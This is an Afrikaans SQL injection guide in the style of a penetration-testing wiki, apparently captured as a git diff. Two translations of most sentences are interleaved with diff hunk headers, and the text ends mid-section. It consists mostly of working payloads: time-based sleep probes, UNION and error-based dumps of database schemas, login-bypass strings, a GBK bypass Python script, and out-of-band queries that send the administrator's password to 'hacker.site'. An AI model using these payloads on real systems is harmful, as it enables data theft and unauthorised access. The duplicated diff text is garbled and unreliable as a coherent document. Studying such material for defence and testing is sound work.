'n **SQL-inspuiting** is 'n sekuriteitsfout wat aanvallers toelaat om **in te gryp in databasisnavrae** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om **te sien**, **te wysig**, of **te verwyder** data waartoe hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan hê. Sulke aksies kan lei tot permanente veranderinge aan die toepassing se funksionaliteit of inhoud of selfs kompromittering van die bediener of ontkenning van diens.
|
||||
|
||||
## Opvang van toegangspunt
|
||||
## Toegangspunt opsporing
|
||||
|
||||
Wanneer 'n webwerf lyk asof dit **kwesbaar is vir SQL-injeksie (SQLi)** as gevolg van ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis die identifisering van die metode om effektief **uit die huidige konteks te ontsnap**.
|
||||
Hier is 'n paar nuttige voorbeelde:
|
||||
Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** as gevolg van ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis om die metode te identifiseer om **doeltreffend uit die huidige konteks te ontsnap**.
|
||||
Hierdie is 'n paar nuttige voorbeelde:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
|
@ -38,9 +41,9 @@ Hier is 'n paar nuttige voorbeelde:
|
|||
"))
|
||||
`))
|
||||
```
|
||||
Dan moet jy weet hoe om die navraag te **herstel sodat daar geen foute is nie**. Om die navraag te herstel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net **jou data invoer en 'n kommentaar simbool by die einde voeg**.
|
||||
Dan moet jy weet hoe om die **query reg te stel sodat daar nie foute is nie**. Om die query reg te stel, kan jy **data invoer** sodat die **vorige query die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde byvoeg**.
|
||||
|
||||
_Merk op dat as jy foutboodskappe kan sien of jy verskille kan opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
_Verwys na die feit dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n query werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
|
||||
### **Kommentaar**
|
||||
```sql
|
||||
|
@ -70,9 +73,9 @@ HQL does not support comments
|
|||
```
|
||||
### Bevestiging met logiese operasies
|
||||
|
||||
'n Betroubare metode om 'n SQL-injeksie kwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit gewysig word na `?username=Peter' or '1'='1`, dui op 'n SQL-injeksie kwesbaarheid.
|
||||
'n Betroubare metode om 'n SQL-inspuitingskwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit verander word na `?username=Peter' or '1'='1`, dui op 'n SQL-inspuitingskwesbaarheid.
|
||||
|
||||
Op dieselfde manier dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as die toegang tot `?id=1` en `?id=2-1` dieselfde resultaat oplewer, dui dit op 'n SQL-injeksie.
|
||||
Op soortgelyke wyse dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as toegang tot `?id=1` en `?id=2-1` dieselfde resultaat lewer, is dit 'n aanduiding van SQL-inspuiting.
|
||||
|
||||
Voorbeelde wat logiese operasiebevestiging demonstreer:
|
||||
```
|
||||
|
@ -81,14 +84,14 @@ page.asp?id=1' or 1=1 -- results in true
|
|||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Hierdie woordelys is geskep om SQL-injeksies te probeer **bevestig** op die voorgestelde manier:
|
||||
Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te **bevestig**:
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||||
|
||||
### Bevestiging met Tydsberekening
|
||||
### Bevestiging met Tyd
|
||||
|
||||
In sommige gevalle sal jy **nie enige verandering** op die bladsy wat jy toets, opmerk nie. Daarom is 'n goeie manier om **blinde SQL-injeksies te ontdek** om die databasis aksies te laat uitvoer wat 'n **impak op die tyd** sal hê wat die bladsy neem om te laai.\
|
||||
Daarom gaan ons die SQL-navraag kombineer met 'n operasie wat baie tyd sal neem om te voltooi:
|
||||
In sommige gevalle **sal jy geen verandering op die bladsy** wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
|
||||
Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
|
@ -110,11 +113,11 @@ SQLite
|
|||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In sommige gevalle sal die **slaapfunksies nie toegelaat word** nie. In plaas daarvan kan jy die navraag **komplekse operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke sal afsonderlik op elke tegnologie bespreek word (indien van toepassing)_.
|
||||
In sommige gevalle sal die **slaap funksies nie toegelaat word** nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die navraag **kompleks operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke sal apart op elke tegnologie kommentaar gelewer word (indien enige)_.
|
||||
|
||||
### Identifisering van Agterkant
|
||||
### Identifisering van Agtergrond
|
||||
|
||||
Die beste manier om die agterkant te identifiseer, is om funksies van die verskillende agterkante uit te voer. Jy kan die _**slaap**_ **funksies** van die vorige afdeling gebruik of hierdie (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Die beste manier om die agtergrond te identifiseer, is om te probeer om funksies van die verskillende agtergronde uit te voer. Jy kan die _**slaap**_ **funksies** van die vorige afdeling of hierdie gebruik (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
|
@ -142,27 +145,27 @@ Die beste manier om die agterkant te identifiseer, is om funksies van die verski
|
|||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Ook, as jy toegang het tot die uitset van die navraag, kan jy dit **druk die weergawe van die databasis**.
|
||||
Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **die weergawe van die databasis laat druk**.
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Voortsetting, ons gaan verskillende metodes bespreek om verskillende soorte SQL-injeksie te benut. Ons sal MySQL as voorbeeld gebruik.
|
||||
In 'n vervolg gaan ons verskillende metodes bespreek om verskillende soorte SQL-inspuitings te ontgin. Ons sal MySQL as voorbeeld gebruik.
|
||||
{% endhint %}
|
||||
|
||||
### Identifiseer met PortSwigger
|
||||
### Identifisering met PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
|
||||
## Uitbuiting van Union Based
|
||||
## Ontginning van Union-gebaseerde
|
||||
|
||||
### Opsoek na die aantal kolomme
|
||||
### Opspoor van die aantal kolomme
|
||||
|
||||
As jy die uitset van die navraag kan sien, is dit die beste manier om dit te benut.\
|
||||
Eerstens moet ons die **aantal** **kolomme** vind wat die **oorspronklike navraag** teruggee. Dit is omdat **beide navrae dieselfde aantal kolomme moet teruggee**.\
|
||||
Twee metodes word tipies gebruik vir hierdie doel:
|
||||
As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te ontgin.\
|
||||
Eerstens moet ons uitvind wat die **aantal** **kolomme** is wat die **aanvanklike versoek** teruggee. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
|
||||
Twee metodes word tipies vir hierdie doel gebruik:
|
||||
|
||||
#### Order/Group by
|
||||
#### Bestel/Groepeer volgens
|
||||
|
||||
Om die aantal kolomme in 'n navraag te bepaal, pas jy die aantal wat in die **ORDER BY** of **GROUP BY** klousules gebruik word, inkrementeel aan totdat 'n valse antwoord ontvang word. Ten spyte van die onderskeie funksionaliteite van **GROUP BY** en **ORDER BY** binne SQL, kan beide identies gebruik word om die aantal kolomme van die navraag te bepaal.
|
||||
Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die kolomtelling van die navraag te bepaal.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -180,17 +183,17 @@ Om die aantal kolomme in 'n navraag te bepaal, pas jy die aantal wat in die **OR
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Kies meer en meer nulwaardes totdat die navraag korrek is:
|
||||
Kies meer en meer null waardes totdat die navraag korrek is:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Jy moet `null`waardes gebruik, aangesien die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en `null` geldig is in elke geval._
|
||||
_Jy moet `null` waardes gebruik soos in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null is geldig in elke geval._
|
||||
|
||||
### Haal databasisname, tabelname en kolomname uit
|
||||
### Trek databasisname, tabelname en kolomnamen uit
|
||||
|
||||
In die volgende voorbeelde gaan ons die naam van al die databasisse ophaal, die tabelnaam van 'n databasis, en die kolomname van die tabel:
|
||||
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
|
@ -201,80 +204,67 @@ In die volgende voorbeelde gaan ons die naam van al die databasisse ophaal, die
|
|||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Daar is 'n verskillende manier om hierdie data op elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie._
|
||||
_Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie._
|
||||
|
||||
## Uitbuiting van Versteekte Unie-Gebaseerde Injeksie
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Wanneer die uitset van 'n navraag sigbaar is, maar 'n unie-gebaseerde injeksie onbereikbaar lyk, dui dit op die teenwoordigheid van 'n **versteekte unie-gebaseerde injeksie**. Hierdie scenario lei dikwels tot 'n blinde injeksie situasie. Om 'n blinde injeksie te omskep na 'n unie-gebaseerde een, moet die uitvoeringsnavraag op die agterkant bepaal word.
|
||||
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
|
||||
|
||||
Dit kan bereik word deur die gebruik van blinde injeksie tegnieke saam met die verstek tabelle spesifiek vir jou teiken Databasisbestuurstelsel (DBMS). Vir 'n beter begrip van hierdie verstek tabelle, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||||
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||||
|
||||
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Daarna word 'n unie-navraag by jou payload gevoeg, wat die uitbuiting van die nuut toeganklike unie-gebaseerde injeksie fasiliteer.
|
||||
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Vervolgens word 'n union-navraag by jou payload gevoeg, wat die benutting van die nuut toeganklike union-gebaseerde inspuiting fasiliteer.
|
||||
|
||||
Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Uitbuiting van Fout-gebaseerde Injeksie
|
||||
## Exploiting Error based
|
||||
|
||||
As jy om een of ander rede **nie** die **uitset** van die **navraag** kan sien nie, maar jy kan die foutboodskappe sien, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **uitlek**.\
|
||||
Deur 'n soortgelyke vloei as in die Unie-Gebaseerde uitbuiting te volg, kan jy die databasis dump.
|
||||
As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe** sien, kan jy hierdie foutboodskappe gebruik om **data** uit die databasis te **ex-filtreer**.\
|
||||
Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Uitbuiting van Blinde SQLi
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag 'n **waar** of 'n **vals** antwoord **teruggee** omdat daar verskillende inhoud op die bladsy is.\
|
||||
In hierdie geval kan jy hierdie gedrag misbruik om die databasis karakter vir karakter te dump:
|
||||
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag **terugkeer** 'n **ware** of 'n **valse** antwoord omdat daar verskillende inhoud op die bladsy is.\
|
||||
In hierdie geval kan jy daardie gedrag misbruik om die databasis karakter vir karakter te dump:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Uitbuiting van Fout-Blind SQLi
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Dit is dieselfde geval as voorheen, maar in plaas daarvan om te onderskei tussen 'n ware/vals reaksie van die navraag, kan jy onderskei tussen 'n fout in die SQL-navraag of nie (miskien omdat die HTTP-bediener afkraak). Daarom kan jy in hierdie geval elke keer 'n SQL-fout afdwing as jy die karakter korrek raai:
|
||||
Dit is die **selfde geval as voorheen** maar in plaas daarvan om te onderskei tussen 'n waar/onwaar antwoord van die navraag kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Uitbuiting van Tyd Gebaseerde SQLi
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
In hierdie geval is daar geen manier om die respons van die navraag te onderskei op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy langer laat neem om te laai as die gerade karakter korrek is. Ons het hierdie tegniek al voorheen gesien om 'n SQLi kwesbaarheid te bevestig.
|
||||
In hierdie geval **is daar nie** enige manier om die **antwoord** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om 'n [SQLi kwesbaarheid te bevestig](./#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Gestapelde Navrae
|
||||
## Gestapelde Vrae
|
||||
|
||||
Jy kan gestapelde navrae gebruik om **meervoudige navrae agtereen uit te voer**. Let daarop dat terwyl die volgende navrae uitgevoer word, die **resultate nie aan die toepassing teruggegee word nie**. Hierdie tegniek is dus hoofsaaklik van nut in verband met **blinde kwesbaarhede** waar jy 'n tweede navraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout, of tydvertraging te veroorsaak.
|
||||
Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende vrae uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur** word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met **blindes kwesbaarhede** waar jy 'n tweede vraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout of tydsvertraging te aktiveer.
|
||||
|
||||
**Oracle** ondersteun nie **gestapelde navrae nie**. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `NAVRAAG-1-HIER; NAVRAAG-2-HIER`
|
||||
**Oracle** ondersteun nie **gestapelde vrae** nie. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Buite-band Uitbuiting
|
||||
## Uit-baan Exploitatie
|
||||
|
||||
As **geen ander** uitbuitingsmetode **gewerk** het nie, kan jy probeer om die **databasis die inligting na 'n eksterne gasheer** te laat uitlek wat deur jou beheer word. Byvoorbeeld, deur DNS-navrae:
|
||||
As **geen ander** eksploitasiemetode **gewerk het** nie, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvloe. Byvoorbeeld, via DNS-vrae:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Uitbandige data-uitvoer deur middel van XXE
|
||||
|
||||
XXE (External Entity Injection) is 'n aanvalstegniek wat gebruik word om 'n webtoepassing te misbruik deur kwaadwillige entiteite in te spuit in 'n XML-verwerker. Hierdie aanvalstegniek kan gebruik word om out-of-band data-uitvoer te bewerkstellig deur die gebruik van 'n eksterne entiteit wat verwys na 'n eksterne bron, soos 'n HTTP-vervraag of 'n DNS-aanvraag.
|
||||
|
||||
Die proses van out-of-band data-uitvoer met behulp van XXE behels die volgende stappe:
|
||||
|
||||
1. Identifiseer 'n kwesbare punt in die teikenwebtoepassing waar XXE kan plaasvind.
|
||||
2. Bou 'n kwaadwillige XML-aanvraag wat 'n eksterne entiteit insluit wat verwys na 'n eksterne bron.
|
||||
3. Stuur die kwaadwillige aanvraag na die teikenwebtoepassing.
|
||||
4. As die aanval suksesvol is, sal die teikenwebtoepassing die eksterne entiteit verwerk en 'n uitgaande verbinding maak na die eksterne bron.
|
||||
5. Die uitgaande verbinding kan gebruik word om data uit te voer na 'n beheerde bediener wat deur die aanvaller gekontroleer word.
|
||||
6. Die aanvaller kan die uitgevoerde data gebruik om sensitiewe inligting te verkry of verdere aanvalle uit te voer.
|
||||
|
||||
Dit is belangrik om te verstaan dat XXE-aanvalle slegs suksesvol sal wees as die teikenwebtoepassing kwesbaar is vir eksterne entiteitinspuiting. Dit is dus noodsaaklik om die toepassing te toets en te verifieer voordat 'n XXE-aanval uitgevoer word.
|
||||
### Uit-baan data-uitvoer via XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Geoutomatiseerde Uitbuiting
|
||||
## Geoutomatiseerde Exploitatie
|
||||
|
||||
Kyk na die [SQLMap Cheetsheat](sqlmap/) om 'n SQLi kwesbaarheid te benut met [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Kyk na die [SQLMap Cheetsheat](sqlmap/) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te exploiteer.
|
||||
|
||||
## Tegnologiespesifieke inligting
|
||||
## Tegnies spesifieke inligting
|
||||
|
||||
Ons het reeds al die maniere bespreek om 'n SQL-injeksie kwesbaarheid te benut. Vind nog 'n paar truuks wat afhang van die databasetegnologie in hierdie boek:
|
||||
Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploiteer. Vind nog 'n paar truuks wat afhanklik is van databasis tegnologie in hierdie boek:
|
||||
|
||||
* [MS Access](ms-access-sql-injection.md)
|
||||
* [MSSQL](mssql-injection.md)
|
||||
|
@ -282,82 +272,51 @@ Ons het reeds al die maniere bespreek om 'n SQL-injeksie kwesbaarheid te benut.
|
|||
* [Oracle](oracle-injection.md)
|
||||
* [PostgreSQL](postgresql-injection/)
|
||||
|
||||
Of jy sal **baie truuks vind met betrekking tot: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
|
||||
Of jy sal **baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Verifikasie omseil
|
||||
## Verifikasie omseiling
|
||||
|
||||
Lys om te probeer om die aanmeldingsfunksionaliteit te omseil:
|
||||
Lys om te probeer om die aanmeld funksionaliteit te omseil:
|
||||
|
||||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Onbewerkte hasie-verifikasie omseil
|
||||
### Rau hash verifikasie omseiling
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 gebruik word met true vir rof uitset in verifikasie kontroles, wat die stelsel vatbaar maak vir SQL-injeksie. Aanvallers kan dit uitbuit deur insette te skep wat, wanneer gehash word, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
|
||||
Hierdie navraag demonstreer 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel vatbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur insette te skep wat, wanneer gehas, onverwagte SQL-opdrag dele produseer, wat lei tot ongemagtigde toegang.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Geïnjecteerde hashtegniese omseiling
|
||||
|
||||
Hierdie tegniek maak gebruik van 'n SQL-injeksie-aanval om die hashtegniese verifikasie van 'n gebruiker te omseil. Dit kan gebruik word om toegang te verkry tot 'n toepassing sonder die regte verifikasieproses te deurloop.
|
||||
|
||||
#### Hoe werk dit?
|
||||
|
||||
1. Identifiseer die invoerveld waarin die gebruiker se hashtegniese waarde gestoor word.
|
||||
2. Voer 'n SQL-injeksie-aanval uit deur die invoerveld te manipuleer.
|
||||
3. Verander die waarde van die hashtegniese waarde in 'n bekende waarde, soos 'n leë string of 'n bekende hashtegniese waarde.
|
||||
4. Die toepassing sal die ingevoerde waarde vergelyk met die waarde in die databasis en as dit ooreenstem, sal dit die gebruiker as geldig beskou en toegang verleen.
|
||||
|
||||
#### Voorbeeld
|
||||
|
||||
As ons 'n toepassing het wat die gebruiker se hashtegniese waarde in 'n veld genaamd `password` stoor, kan ons die volgende SQL-injeksie-aanval uitvoer:
|
||||
|
||||
```sql
|
||||
' OR '1'='1
|
||||
```
|
||||
|
||||
Hierdie sal die SQL-verklaring verander na:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1';
|
||||
```
|
||||
|
||||
Die toepassing sal die waarde van die hashtegniese waarde vergelyk met die leë string of die waarde `'1'='1'`, wat altyd waar sal wees. As gevolg hiervan sal die toepassing die gebruiker as geldig beskou en toegang verleen sonder die regte verifikasieproses te deurloop.
|
||||
|
||||
#### Voorkoming
|
||||
|
||||
Om hierdie tipe aanvalle te voorkom, moet die toepassing behoorlike invoerverifikasie en parameterisering implementeer. Dit sluit in die gebruik van voorbereide verklarings of parametervervanging om die risiko van SQL-injeksie te verminder.
|
||||
### Geïnkubeerde hash outentiekingsomseiling
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Aanbevole lys**:
|
||||
|
||||
Jy moet elke lyn van die lys gebruik as gebruikersnaam en altyd as wagwoord: _**Pass1234.**_\
|
||||
Jy moet elke lyn van die lys as gebruikersnaam gebruik en as wagwoord altyd: _**Pass1234.**_\
|
||||
_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem word)_
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK-verifikasie-omleiding
|
||||
### GBK Verifikasie Bypass
|
||||
|
||||
AS ' geëskapeer word, kan jy %A8%27 gebruik, en wanneer ' geëskapeer word, sal dit geskep word: 0xA80x5c0x27 (_╘'_)
|
||||
IF ' word geskaap kan jy %A8%27 gebruik, en wanneer ' geskaap word sal dit geskep word: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python-skripsie:
|
||||
Python-skrip:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
|
@ -366,86 +325,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
|||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Poliglot-injeksie (multikonteks)
|
||||
|
||||
'n Poliglot-injeksie, ook bekend as 'n multikonteks-injeksie, is 'n tegniek wat gebruik word in SQL-injeksie om 'n enkele injeksie-aanval te skep wat in verskillende databasisplatforms kan werk. Dit maak gebruik van die verskillende sintaksis en funksies van verskillende databasisplatforms om 'n aanval te skep wat suksesvol kan wees in meerdere omgewings.
|
||||
|
||||
Hierdie tegniek is baie kragtig omdat dit die aanvaller in staat stel om 'n enkele injeksie-aanval te skep wat kan werk op verskillende databasisplatforms, soos MySQL, SQL Server, Oracle, ensovoorts. Dit beteken dat die aanvaller slegs een aanval hoef te skep en dit kan gebruik om verskeie doelwitte aan te val sonder om verskillende aanvalskodes vir elke databasisplatform te skep.
|
||||
|
||||
Om 'n poliglot-injeksie-aanval te skep, moet die aanvaller die verskillende sintaksis en funksies van die teiken databasisplatforms verstaan. Dit vereis 'n goeie begrip van die verskillende databasisplatforms en hul spesifieke kenmerke. Die aanvaller moet ook die nodige kennis hê om die aanvalskode te skep wat in al hierdie omgewings kan werk.
|
||||
|
||||
'n Poliglot-injeksie-aanval kan gebruik word om verskeie aksies uit te voer, soos die verkryging van gevoelige inligting, die manipulasie van databasisrekords, die uitvoering van skadelike opdragte, ensovoorts. Dit is 'n baie gevaarlike tegniek wat deur aanvallers gebruik kan word om groot skade aan te rig aan 'n teikenstelsel.
|
||||
|
||||
Dit is belangrik vir ontwikkelaars en beveiligingspersoneel om bewus te wees van die moontlikheid van poliglot-injeksie en om toepaslike maatreëls te tref om dit te voorkom. Dit sluit in die gebruik van parameterisering, die korrekte hantering van gebruikersinsette, die gebruik van voorafbereide verklarings, ensovoorts. Deur hierdie maatreëls te implementeer, kan die risiko van poliglot-injeksie-aanvalle verminder word.
|
||||
### Polyglot-inspuiting (multikontext)
|
||||
```sql
|
